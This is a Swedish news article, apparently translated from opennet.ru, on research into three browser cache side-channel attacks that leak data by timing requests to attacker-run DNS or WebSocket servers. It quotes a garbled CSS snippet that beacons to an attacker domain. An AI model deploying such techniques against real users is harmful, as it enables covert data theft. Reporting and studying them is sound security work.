Datautvinning frÄn CPU-cacheattack, genomförd i webblÀsaren utan JavaScript

En grupp forskare frÄn flera amerikanska, israeliska och australiensiska universitet har utvecklat tre funktionella webblÀsarattacker för att extrahera information om innehÄllet i processorcacheminnet. En metod fungerar i webblÀsare utan JavaScript, medan de tvÄ andra kringgÄr existerande skyddsmekanismer mot attacker via sidokanaler, inklusive de som anvÀnds i Tor-webblÀsaren och DeterFox. Koden för att demonstrera attackerna samt de serverkomponenter som krÀvs för attackerna har publicerats pÄ GitHub.

För analys av cacheinnehÄllet anvÀnds i alla attacker metoden Prime+Probe, vilket innebÀr att cacheminnet fylls med ett referensvÀrdeset och förÀndringar bestÀms genom att mÀta Ätkomsttiden vid en ny fyllning. För att kringgÄ försvarsmekanismer i webblÀsarna som hindrar exakt tidsmÀtning görs i tvÄ varianter anrop till en angripares kontrollerade DNS- eller WebSocket-server, dÀr loggar över tidsangivelser för inkommande förfrÄgningar sparas. I en av varianterna anvÀnds en fast DNS-responstid som referenstid.

MĂ€tningarna, som involverade externa DNS- eller WebSocket-servrar, visade sig vara tillrĂ€ckliga för att förutsĂ€ga vĂ€rden med en noggrannhet pĂ„ upp till 98 % i det mest optimala scenariot (i genomsnitt 80–90 %). Attackmetoderna har testats pĂ„ olika hĂ„rdvaruplattformar (Intel, AMD Ryzen, Apple M1, Samsung Exynos) och har visat sig vara universella.

Datautvinning frÄn CPU-cacheattack, genomförd i webblÀsaren utan JavaScript

I den första varianten av attacken "DNS Racing" anvÀnds en klassisk implementation av metoden Prime+Probe, som anvÀnder JavaScript-arrayer. Skillnaderna ligger i anvÀndningen av en extern timer baserad pÄ DNS och en onerror-hanterare som aktiveras vid försök att ladda en bild frÄn en icke-existerande domÀn. Den externa timern möjliggör genomförande av Prime+Probe-attacken i webblÀsare som begrÀnsar eller helt stÀnger av tillgÄngen till JavaScript-timrar.

För en DNS-server som Àr placerad i samma Ethernet-nÀtverk uppskattas timerprecisionen till ungefÀr 2 ms, vilket Àr tillrÀckligt för att genomföra attacker via externa kanaler (jÀmfört med precisionen hos den inbyggda JavaScript-timern i Tor Browser, som har sÀnkts till 100 ms). För att genomföra attacken krÀvs ingen kontroll över DNS-servern, eftersom operationens utförande tid justeras sÄ att svarstiden frÄn DNS fungerar som ett tecken pÄ en tidigare avslutad kontroll (beroende pÄ om onerror-handlern tidigare eller senare aktiverades, dras slutsatser om hastigheten för den kontrollerande operationen med cache).

Den andra attackmetoden "String and Sock" syftar till att kringgĂ„ skyddsĂ„tgĂ€rder som begrĂ€nsar lĂ„gnivĂ„anvĂ€ndning av arrayer i JavaScript. IstĂ€llet för arrayer anvĂ€nder "String and Sock" operationer med mycket stora strĂ€ngar, vars storlek vĂ€ljs sĂ„ att variabeln tĂ€cker hela LLC-cachen (Last Level Cache). DĂ€refter anvĂ€nds funktionen indexOf() för att söka efter en liten delstrĂ€ng i strĂ€ngen som ursprungligen inte finns dĂ€r, det vill sĂ€ga att sökningsoperationen tvingar en genomgĂ„ng av hela strĂ€ngen. Eftersom strĂ€ngens storlek motsvarar storleken pĂ„ LLC-cachen, möjliggör skanningen att kontrolloperationen utförs utan att manipulera arrayer. För att mĂ€ta fördröjningar anvĂ€nds istĂ€llet en begĂ€ran till en angriparkontrollerad WebSocket-server — innan och efter avslutningen av sökoperationen i strĂ€ngen skickas förfrĂ„gningar, baserat pĂ„ vilka servern fördröjningen berĂ€knas, vilket anvĂ€nds för att analysera cacheinnehĂ„llet.

Det tredje attackalternativet "CSS PP0" implementeras via HTML och CSS, och kan fungera i webblĂ€sare med JavaScript avstĂ€ngt. Metoden liknar "String and Sock" men Ă€r inte kopplad till JavaScript. Under attacken skapas en uppsĂ€ttning CSS-selectorer som söker efter ett mönster. Den stora ursprungliga strĂ€ngen som fyller cachen definieras genom att skapa en div-tagg med ett vĂ€ldigt lĂ„ngt klassnamn. Inuti placeras en uppsĂ€ttning andra div-taggar med sina egna identifierare. För varje av dessa inre div-taggar definieras en egen stil med en selektor som söker efter delstrĂ€ngar. Vid rendering av sidan försöker webblĂ€saren först att bearbeta de inre div-taggarna, vilket leder till att en sökoperation i den stora strĂ€ngen utförs. Sökningen görs med ett mönster som medvetet Ă€r frĂ„nvarande och leder till att hela strĂ€ngen söks igenom, varefter villkoret "not" aktiveras och ett försök att ladda en bakgrundsbild görs, vilket refererar till slumpmĂ€ssiga domĂ€ner: <style> #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … </style> <div id="»pp»" class="»ŃŃ‚Ń€ĐŸĐșа," Ń€Đ°Đ·ĐŒĐ”Ń€ĐŸĐŒ ĐŸĐșĐŸĐ»ĐŸ ĐŒĐ”ĐłĐ°Đ±Đ°Đčта»> <div id="»s0″">X</div> <div id="»s1″">X</div> … </div>

UnderdomÀner hanteras av angriparens DNS-server, som kan mÀta fördröjningar i mottagandet av förfrÄgningar. För alla förfrÄgningar ger DNS-servern NXDOMAIN och loggar den exakta tiden för förfrÄgningarna. Som ett resultat av bearbetningen av uppsÀttningen div-taggar kommer en serie förfrÄgningar till angriparens DNS-server, dÀr fördröjningar mellan dem korrelerar med resultatet av cacheinnehÄllskontrollen.

Datautvinning frÄn CPU-cacheattack, genomförd i webblÀsaren utan JavaScript


KĂ€lla: opennet.ru
Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar đŸ”„ Köp pĂ„litlig webbhotell med DDoS-skydd, VPS VDS-servrar | ProHoster